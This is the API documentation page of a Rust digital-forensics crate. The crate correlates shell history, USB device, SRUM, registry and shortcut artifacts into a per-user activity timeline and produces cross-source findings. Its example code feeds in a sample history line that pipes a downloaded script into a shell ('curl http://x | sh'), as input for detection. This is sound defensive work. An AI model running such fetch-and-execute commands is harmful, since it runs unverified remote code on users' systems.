Crate useract_forensic

Expand description

useract-forensic — the user-activity correlation layer.

A thin meta / orchestration crate: it does not parse any raw format itself. It consumes already-decoded forensic reader types — shellhist_core::HistoryEntry, peripheral_core::DeviceConnection, SRUM records (srum_core), registry artifacts (winreg_artifacts), and Shell Link targets (lnk_core::ShellLink) — normalizes them into one uniform UserActivity event, builds a per-user timeline, and emits cross-source forensicnomicon::report::Findings that no single source could produce alone.

Every finding is an observation (“consistent with …”); the examiner draws the conclusions. MITRE techniques are narrated as consistency, never a verdict.

§30-second example

use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
use shellhist_core::{HistoryEntry, Shell};

// (sources are normally produced by the reader crates; constructed here inline)
let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
let shell = ShellHistorySource::new(&entries);
let devices = DeviceSource::new(&[]);

let timeline = build_timeline(&[&shell, &devices]);
let findings = audit(&timeline);
for f in &findings {
    println!("{} — {}", f.code, f.note);
}

§Sources

Every source slots in behind the ActivitySource trait: shell history and peripheral devices (v0.1) plus SRUM (per-user app/network usage by SID — the first actor-attributing source), registry artifacts (UserAssist / TypedURLs / ShellBags), and recent-file LNK targets (carrying the volume serial that completes the device join). See docs/roadmap.md for the v0.3 sources.

Structs§

DeviceSource: A DeviceSource wraps a borrowed slice of decoded device connections.
JumpListSource: A JumpListSource wraps parsed lnk-core Jump Lists — the per-application MRU of recently opened (and pinned) items. Automatic destinations carry a DestList with the authoritative per-target access time and origin host; custom destinations are a flat list of embedded shell links.
LnkSource: A LnkSource wraps borrowed Windows Shell Link targets parsed by lnk-core.
RegistrySource: A RegistrySource wraps borrowed per-user registry artifacts decoded by winreg-artifacts from an NTUSER.DAT / USRCLASS.DAT hive.
ShellHistorySource: A ShellHistorySource wraps a borrowed slice of decoded history entries.
SrumSource: A SrumSource wraps borrowed SRUM network-usage and app-usage records plus the SruDbIdMapTable that resolves their integer user_id / app_id foreign keys to user SIDs and application paths.
UserActivity: One normalized user-activity event: who did what, when, to which subject.

Enums§

Action: What a user did to a Subject.
SourceKind: Which reader the activity was normalized from.
Subject: The thing an Action was performed on.

Constants§

NETWORK_EXFIL_BYTES_THRESHOLD: The conservative per-interval bytes_sent threshold above which a SRUM network row is surfaced as a graded exfiltration lead (USERACT-NETWORK-EXFIL-VOLUME).
REMOVABLE_MEDIA_WINDOW_SECS: The default temporal window (seconds) for the exec-during-removable-media join.

Traits§

ActivitySource: A producer of UserActivity events.

Functions§

audit: Audit a merged timeline for cross-source user-activity findings.
audit_with: audit with a caller-supplied Source stamp (scope/version).
build_timeline: Merge any number of ActivitySources into one timeline, sorted by timestamp.
device_file_volume_joins: Generic volume-serial join: pair every Subject::Device activity with every Subject::File / Subject::Folder activity that names the same volume serial.
from_device_connections: Normalize a decoded device-connection stream into UserActivity events.
from_jumplists: Normalize parsed Jump Lists into Action::Accessed file UserActivitys.
from_lnk: Normalize parsed Shell Links into Action::Accessed file UserActivitys.
from_registry: Normalize all three per-user registry artifacts into one UserActivity stream.
from_shell_history: Normalize a decoded shell-history stream into UserActivity events.
from_shellbags: Normalize ShellBags into Action::Accessed folder UserActivity events.
from_srum: Normalize SRUM network-usage and app-usage records into UserActivity events.
from_typed_urls: Normalize IE/Edge TypedURLs into Action::Typed UserActivity events.
from_userassist: Normalize UserAssist entries into Action::Executed UserActivity events.
source: The Source stamp for findings this analyzer emits.